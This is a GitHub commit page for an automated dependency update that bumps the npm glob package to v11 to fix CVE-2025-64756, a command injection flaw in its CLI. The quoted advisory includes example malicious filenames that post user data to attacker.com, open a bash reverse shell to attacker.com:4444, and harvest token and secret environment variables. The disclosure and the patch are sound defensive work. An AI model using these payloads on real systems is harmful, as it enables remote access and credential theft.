Skip to content

Commit 5790b9a

Browse files
chore(deps): update dependency glob to v11 [security] (#2122)
This PR contains the following updates: | Package | Change | Age | Confidence | |---|---|---|---| | [glob](https://redirect.github.com/isaacs/node-glob) | [`^10.2.7` -> `^11.0.0`](https://renovatebot.com/diffs/npm/glob/10.4.5/11.1.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/glob/11.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/glob/10.4.5/11.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | ### GitHub Vulnerability Alerts #### [CVE-2025-64756](https://redirect.github.com/isaacs/node-glob/security/advisories/GHSA-5j98-mcp5-4vw2) ### Summary The glob CLI contains a command injection vulnerability in its `-c/--cmd` option that allows arbitrary command execution when processing files with malicious names. When `glob -c <command> <patterns>` is used, matched filenames are passed to a shell with `shell: true`, enabling shell metacharacters in filenames to trigger command injection and achieve arbitrary code execution under the user or CI account privileges. ### Details **Root Cause:** The vulnerability exists in `src/bin.mts:277` where the CLI collects glob matches and executes the supplied command using `foregroundChild()` with `shell: true`: ```javascript stream.on('end', () => foregroundChild(cmd, matches, { shell: true })) ``` **Technical Flow:** 1. User runs `glob -c <command> <pattern>` 2. CLI finds files matching the pattern 3. Matched filenames are collected into an array 4. Command is executed with matched filenames as arguments using `shell: true` 5. Shell interprets metacharacters in filenames as command syntax 6. Malicious filenames execute arbitrary commands **Affected Component:** - **CLI Only:** The vulnerability affects only the command-line interface - **Library Safe:** The core glob library API (`glob()`, `globSync()`, streams/iterators) is not affected - **Shell Dependency:** Exploitation requires shell metacharacter support (primarily POSIX systems) **Attack Surface:** - Files with names containing shell metacharacters: `$()`, backticks, `;`, `&`, `|`, etc. - Any directory where attackers can control filenames (PR branches, archives, user uploads) - CI/CD pipelines using `glob -c` on untrusted content ### PoC **Setup Malicious File:** ```bash mkdir test_directory && cd test_directory # Create file with command injection payload in filename touch '$(touch injected_poc)' ``` **Trigger Vulnerability:** ```bash # Run glob CLI with -c option node /path/to/glob/dist/esm/bin.mjs -c echo "**/*" ``` **Result:** - The echo command executes normally - **Additionally:** The `$(touch injected_poc)` in the filename is evaluated by the shell - A new file `injected_poc` is created, proving command execution - Any command can be injected this way with full user privileges **Advanced Payload Examples:** **Data Exfiltration:** ```bash # Filename: $(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1) touch '$(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)' ``` **Reverse Shell:** ```bash # Filename: $(bash -i >& /dev/tcp/attacker.com/4444 0>&1) touch '$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)' ``` **Environment Variable Harvesting:** ```bash # Filename: $(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt) touch '$(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)' ``` ### Impact **Arbitrary Command Execution:** - Commands execute with full privileges of the user running glob CLI - No privilege escalation required - runs as current user - Access to environment variables, file system, and network **Real-World Attack Scenarios:** **1. CI/CD Pipeline Compromise:** - Malicious PR adds files with crafted names to repository - CI pipeline uses `glob -c` to process files (linting, testing, deployment) - Commands execute in CI environment with build secrets and deployment credentials - Potential for supply chain compromise through artifact tampering **2. Developer Workstation Attack:** - Developer clones repository or extracts archive containing malicious filenames - Local build scripts use `glob -c` for file processing - Developer machine compromise with access to SSH keys, tokens, local services **3. Automated Processing Systems:** - Services using glob CLI to process uploaded files or external content - File uploads with malicious names trigger command execution - Server-side compromise with potential for lateral movement **4. Supply Chain Poisoning:** - Malicious packages or themes include files with crafted names - Build processes using glob CLI automatically process these files - Wide distribution of compromise through package ecosystems **Platform-Specific Risks:** - **POSIX/Linux/macOS:** High risk due to flexible filename characters and shell parsing - **Windows:** Lower risk due to filename restrictions, but vulnerability persists with PowerShell, Git Bash, WSL - **Mixed Environments:** CI systems often use Linux containers regardless of developer platform ### Affected Products - **Ecosystem:** npm - **Package name:** glob - **Component:** CLI only (`src/bin.mts`) - **Affected versions:** v10.3.7 through v11.0.3 (and likely later versions until patched) - **Introduced:** v10.3.7 (first release with CLI containing `-c/--cmd` option) - **Patched versions:** 11.1.0 **Scope Limitation:** - **Library API Not Affected:** Core glob functions (`glob()`, `globSync()`, async iterators) are safe - **CLI-Specific:** Only the command-line interface with `-c/--cmd` option is vulnerable ### Remediation - Upgrade to `[email protected]` or higher, as soon as possible. - If any `glob` CLI actions fail, then convert commands containing positional arguments, to use the `--cmd-arg`/`-g` option instead. - As a last resort, use `--shell` to maintain `shell:true` behavior until glob v12, but ensure that no untrusted contents can possibly be encountered in the file path results. --- ### glob CLI: Command injection via -c/--cmd executes matches with shell:true [CVE-2025-64756](https://nvd.nist.gov/vuln/detail/CVE-2025-64756) / [GHSA-5j98-mcp5-4vw2](https://redirect.github.com/advisories/GHSA-5j98-mcp5-4vw2) <details> <summary>More information</summary> #### Details ##### Summary The glob CLI contains a command injection vulnerability in its `-c/--cmd` option that allows arbitrary command execution when processing files with malicious names. When `glob -c <command> <patterns>` is used, matched filenames are passed to a shell with `shell: true`, enabling shell metacharacters in filenames to trigger command injection and achieve arbitrary code execution under the user or CI account privileges. ##### Details **Root Cause:** The vulnerability exists in `src/bin.mts:277` where the CLI collects glob matches and executes the supplied command using `foregroundChild()` with `shell: true`: ```javascript stream.on('end', () => foregroundChild(cmd, matches, { shell: true })) ``` **Technical Flow:** 1. User runs `glob -c <command> <pattern>` 2. CLI finds files matching the pattern 3. Matched filenames are collected into an array 4. Command is executed with matched filenames as arguments using `shell: true` 5. Shell interprets metacharacters in filenames as command syntax 6. Malicious filenames execute arbitrary commands **Affected Component:** - **CLI Only:** The vulnerability affects only the command-line interface - **Library Safe:** The core glob library API (`glob()`, `globSync()`, streams/iterators) is not affected - **Shell Dependency:** Exploitation requires shell metacharacter support (primarily POSIX systems) **Attack Surface:** - Files with names containing shell metacharacters: `$()`, backticks, `;`, `&`, `|`, etc. - Any directory where attackers can control filenames (PR branches, archives, user uploads) - CI/CD pipelines using `glob -c` on untrusted content ##### PoC **Setup Malicious File:** ```bash mkdir test_directory && cd test_directory ##### Create file with command injection payload in filename touch '$(touch injected_poc)' ``` **Trigger Vulnerability:** ```bash ##### Run glob CLI with -c option node /path/to/glob/dist/esm/bin.mjs -c echo "**/*" ``` **Result:** - The echo command executes normally - **Additionally:** The `$(touch injected_poc)` in the filename is evaluated by the shell - A new file `injected_poc` is created, proving command execution - Any command can be injected this way with full user privileges **Advanced Payload Examples:** **Data Exfiltration:** ```bash ##### Filename: $(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1) touch '$(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)' ``` **Reverse Shell:** ```bash ##### Filename: $(bash -i >& /dev/tcp/attacker.com/4444 0>&1) touch '$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)' ``` **Environment Variable Harvesting:** ```bash ##### Filename: $(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt) touch '$(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)' ``` ##### Impact **Arbitrary Command Execution:** - Commands execute with full privileges of the user running glob CLI - No privilege escalation required - runs as current user - Access to environment variables, file system, and network **Real-World Attack Scenarios:** **1. CI/CD Pipeline Compromise:** - Malicious PR adds files with crafted names to repository - CI pipeline uses `glob -c` to process files (linting, testing, deployment) - Commands execute in CI environment with build secrets and deployment credentials - Potential for supply chain compromise through artifact tampering **2. Developer Workstation Attack:** - Developer clones repository or extracts archive containing malicious filenames - Local build scripts use `glob -c` for file processing - Developer machine compromise with access to SSH keys, tokens, local services **3. Automated Processing Systems:** - Services using glob CLI to process uploaded files or external content - File uploads with malicious names trigger command execution - Server-side compromise with potential for lateral movement **4. Supply Chain Poisoning:** - Malicious packages or themes include files with crafted names - Build processes using glob CLI automatically process these files - Wide distribution of compromise through package ecosystems **Platform-Specific Risks:** - **POSIX/Linux/macOS:** High risk due to flexible filename characters and shell parsing - **Windows:** Lower risk due to filename restrictions, but vulnerability persists with PowerShell, Git Bash, WSL - **Mixed Environments:** CI systems often use Linux containers regardless of developer platform ##### Affected Products - **Ecosystem:** npm - **Package name:** glob - **Component:** CLI only (`src/bin.mts`) - **Affected versions:** v10.3.7 through v11.0.3 (and likely later versions until patched) - **Introduced:** v10.3.7 (first release with CLI containing `-c/--cmd` option) - **Patched versions:** 11.1.0 **Scope Limitation:** - **Library API Not Affected:** Core glob functions (`glob()`, `globSync()`, async iterators) are safe - **CLI-Specific:** Only the command-line interface with `-c/--cmd` option is vulnerable ##### Remediation - Upgrade to `[email protected]` or higher, as soon as possible. - If any `glob` CLI actions fail, then convert commands containing positional arguments, to use the `--cmd-arg`/`-g` option instead. - As a last resort, use `--shell` to maintain `shell:true` behavior until glob v12, but ensure that no untrusted contents can possibly be encountered in the file path results. #### Severity - CVSS Score: 7.5 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H` #### References - [https://github.com/isaacs/node-glob/security/advisories/GHSA-5j98-mcp5-4vw2](https://redirect.github.com/isaacs/node-glob/security/advisories/GHSA-5j98-mcp5-4vw2) - [https://nvd.nist.gov/vuln/detail/CVE-2025-64756](https://nvd.nist.gov/vuln/detail/CVE-2025-64756) - [https://github.com/isaacs/node-glob/commit/47473c046b91c67269df7a66eab782a6c2716146](https://redirect.github.com/isaacs/node-glob/commit/47473c046b91c67269df7a66eab782a6c2716146) - [https://github.com/isaacs/node-glob](https://redirect.github.com/isaacs/node-glob) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-5j98-mcp5-4vw2) and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Release Notes <details> <summary>isaacs/node-glob (glob)</summary> ### [`v11.1.0`](https://redirect.github.com/isaacs/node-glob/compare/v11.0.3...v11.1.0) [Compare Source](https://redirect.github.com/isaacs/node-glob/compare/v11.0.3...v11.1.0) ### [`v11.0.3`](https://redirect.github.com/isaacs/node-glob/compare/v11.0.2...v11.0.3) [Compare Source](https://redirect.github.com/isaacs/node-glob/compare/v11.0.2...v11.0.3) ### [`v11.0.2`](https://redirect.github.com/isaacs/node-glob/compare/v11.0.1...v11.0.2) [Compare Source](https://redirect.github.com/isaacs/node-glob/compare/v11.0.1...v11.0.2) ### [`v11.0.1`](https://redirect.github.com/isaacs/node-glob/compare/v11.0.0...v11.0.1) [Compare Source](https://redirect.github.com/isaacs/node-glob/compare/v11.0.0...v11.0.1) ### [`v11.0.0`](https://redirect.github.com/isaacs/node-glob/compare/v10.4.5...v11.0.0) [Compare Source](https://redirect.github.com/isaacs/node-glob/compare/v10.5.0...v11.0.0) ### [`v10.5.0`](https://redirect.github.com/isaacs/node-glob/compare/v10.4.5...v10.5.0) [Compare Source](https://redirect.github.com/isaacs/node-glob/compare/v10.4.5...v10.5.0) </details> --- ### Configuration 📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no schedule defined). 🚦 **Automerge**: Enabled. ♻ **Rebasing**: Whenever PR is behind base branch, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- ## Need help? You can ask for more help in the following Slack channel: #proj-renovate-self-hosted. In that channel you can also find ADR and FAQ docs in the Resources section. <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MS4xMzguNSIsInVwZGF0ZWRJblZlciI6IjQxLjEzOC41IiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJhdXRvbWVyZ2Utc2VjdXJpdHktdXBkYXRlIiwic2V2ZXJpdHk6SElHSCJdfQ==--> Signed-off-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com> Co-authored-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
1 parent 86b7328 commit 5790b9a

File tree

2 files changed

+71
-4
lines changed

2 files changed

+71
-4
lines changed

package.json

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -79,7 +79,7 @@
7979
"eslint-plugin-react-hooks": "^4.6.0",
8080
"eslint-webpack-plugin": "^4.0.1",
8181
"fork-ts-checker-webpack-plugin": "^8.0.0",
82-
"glob": "^10.2.7",
82+
"glob": "^11.0.0",
8383
"identity-obj-proxy": "3.0.0",
8484
"imports-loader": "^5.0.0",
8585
"jest": "^29.5.0",

yarn.lock

Lines changed: 70 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1745,6 +1745,22 @@ __metadata:
17451745
languageName: node
17461746
linkType: hard
17471747

1748+
"@isaacs/balanced-match@npm:^4.0.1":
1749+
version: 4.0.1
1750+
resolution: "@isaacs/balanced-match@npm:4.0.1"
1751+
checksum: 10c0/7da011805b259ec5c955f01cee903da72ad97c5e6f01ca96197267d3f33103d5b2f8a1af192140f3aa64526c593c8d098ae366c2b11f7f17645d12387c2fd420
1752+
languageName: node
1753+
linkType: hard
1754+
1755+
"@isaacs/brace-expansion@npm:^5.0.0":
1756+
version: 5.0.0
1757+
resolution: "@isaacs/brace-expansion@npm:5.0.0"
1758+
dependencies:
1759+
"@isaacs/balanced-match": "npm:^4.0.1"
1760+
checksum: 10c0/b4d4812f4be53afc2c5b6c545001ff7a4659af68d4484804e9d514e183d20269bb81def8682c01a22b17c4d6aed14292c8494f7d2ac664e547101c1a905aa977
1761+
languageName: node
1762+
linkType: hard
1763+
17481764
"@isaacs/cliui@npm:^8.0.2":
17491765
version: 8.0.2
17501766
resolution: "@isaacs/cliui@npm:8.0.2"
@@ -6892,7 +6908,7 @@ __metadata:
68926908
languageName: node
68936909
linkType: hard
68946910

6895-
"foreground-child@npm:^3.1.0":
6911+
"foreground-child@npm:^3.1.0, foreground-child@npm:^3.3.1":
68966912
version: 3.3.1
68976913
resolution: "foreground-child@npm:3.3.1"
68986914
dependencies:
@@ -7223,7 +7239,7 @@ __metadata:
72237239
languageName: node
72247240
linkType: hard
72257241

7226-
"glob@npm:^10.2.2, glob@npm:^10.2.7":
7242+
"glob@npm:^10.2.2":
72277243
version: 10.4.5
72287244
resolution: "glob@npm:10.4.5"
72297245
dependencies:
@@ -7239,6 +7255,22 @@ __metadata:
72397255
languageName: node
72407256
linkType: hard
72417257

7258+
"glob@npm:^11.0.0":
7259+
version: 11.1.0
7260+
resolution: "glob@npm:11.1.0"
7261+
dependencies:
7262+
foreground-child: "npm:^3.3.1"
7263+
jackspeak: "npm:^4.1.1"
7264+
minimatch: "npm:^10.1.1"
7265+
minipass: "npm:^7.1.2"
7266+
package-json-from-dist: "npm:^1.0.0"
7267+
path-scurry: "npm:^2.0.0"
7268+
bin:
7269+
glob: dist/esm/bin.mjs
7270+
checksum: 10c0/1ceae07f23e316a6fa74581d9a74be6e8c2e590d2f7205034dd5c0435c53f5f7b712c2be00c3b65bf0a49294a1c6f4b98cd84c7637e29453b5aa13b79f1763a2
7271+
languageName: node
7272+
linkType: hard
7273+
72427274
"glob@npm:^7.1.3, glob@npm:^7.1.4":
72437275
version: 7.2.3
72447276
resolution: "glob@npm:7.2.3"
@@ -7383,7 +7415,7 @@ __metadata:
73837415
eslint-plugin-react-hooks: "npm:^4.6.0"
73847416
eslint-webpack-plugin: "npm:^4.0.1"
73857417
fork-ts-checker-webpack-plugin: "npm:^8.0.0"
7386-
glob: "npm:^10.2.7"
7418+
glob: "npm:^11.0.0"
73877419
identity-obj-proxy: "npm:3.0.0"
73887420
imports-loader: "npm:^5.0.0"
73897421
jest: "npm:^29.5.0"
@@ -8401,6 +8433,15 @@ __metadata:
84018433
languageName: node
84028434
linkType: hard
84038435

8436+
"jackspeak@npm:^4.1.1":
8437+
version: 4.1.1
8438+
resolution: "jackspeak@npm:4.1.1"
8439+
dependencies:
8440+
"@isaacs/cliui": "npm:^8.0.2"
8441+
checksum: 10c0/84ec4f8e21d6514db24737d9caf65361511f75e5e424980eebca4199f400874f45e562ac20fa8aeb1dd20ca2f3f81f0788b6e9c3e64d216a5794fd6f30e0e042
8442+
languageName: node
8443+
linkType: hard
8444+
84048445
"jest-changed-files@npm:^29.7.0":
84058446
version: 29.7.0
84068447
resolution: "jest-changed-files@npm:29.7.0"
@@ -9285,6 +9326,13 @@ __metadata:
92859326
languageName: node
92869327
linkType: hard
92879328

9329+
"lru-cache@npm:^11.0.0":
9330+
version: 11.2.2
9331+
resolution: "lru-cache@npm:11.2.2"
9332+
checksum: 10c0/72d7831bbebc85e2bdefe01047ee5584db69d641c48d7a509e86f66f6ee111b30af7ec3bd68a967d47b69a4b1fa8bbf3872630bd06a63b6735e6f0a5f1c8e83d
9333+
languageName: node
9334+
linkType: hard
9335+
92889336
"lru-cache@npm:^5.1.1":
92899337
version: 5.1.1
92909338
resolution: "lru-cache@npm:5.1.1"
@@ -9548,6 +9596,15 @@ __metadata:
95489596
languageName: node
95499597
linkType: hard
95509598

9599+
"minimatch@npm:^10.1.1":
9600+
version: 10.1.1
9601+
resolution: "minimatch@npm:10.1.1"
9602+
dependencies:
9603+
"@isaacs/brace-expansion": "npm:^5.0.0"
9604+
checksum: 10c0/c85d44821c71973d636091fddbfbffe62370f5ee3caf0241c5b60c18cd289e916200acb2361b7e987558cd06896d153e25d505db9fc1e43e6b4b6752e2702902
9605+
languageName: node
9606+
linkType: hard
9607+
95519608
"minimatch@npm:^3.0.4, minimatch@npm:^3.0.5, minimatch@npm:^3.1.1, minimatch@npm:^3.1.2":
95529609
version: 3.1.2
95539610
resolution: "minimatch@npm:3.1.2"
@@ -10211,6 +10268,16 @@ __metadata:
1021110268
languageName: node
1021210269
linkType: hard
1021310270

10271+
"path-scurry@npm:^2.0.0":
10272+
version: 2.0.1
10273+
resolution: "path-scurry@npm:2.0.1"
10274+
dependencies:
10275+
lru-cache: "npm:^11.0.0"
10276+
minipass: "npm:^7.1.2"
10277+
checksum: 10c0/2a16ed0e81fbc43513e245aa5763354e25e787dab0d539581a6c3f0f967461a159ed6236b2559de23aa5b88e7dc32b469b6c47568833dd142a4b24b4f5cd2620
10278+
languageName: node
10279+
linkType: hard
10280+
1021410281
"path-to-regexp@npm:^1.7.0":
1021510282
version: 1.9.0
1021610283
resolution: "path-to-regexp@npm:1.9.0"

0 commit comments

Comments
 (0)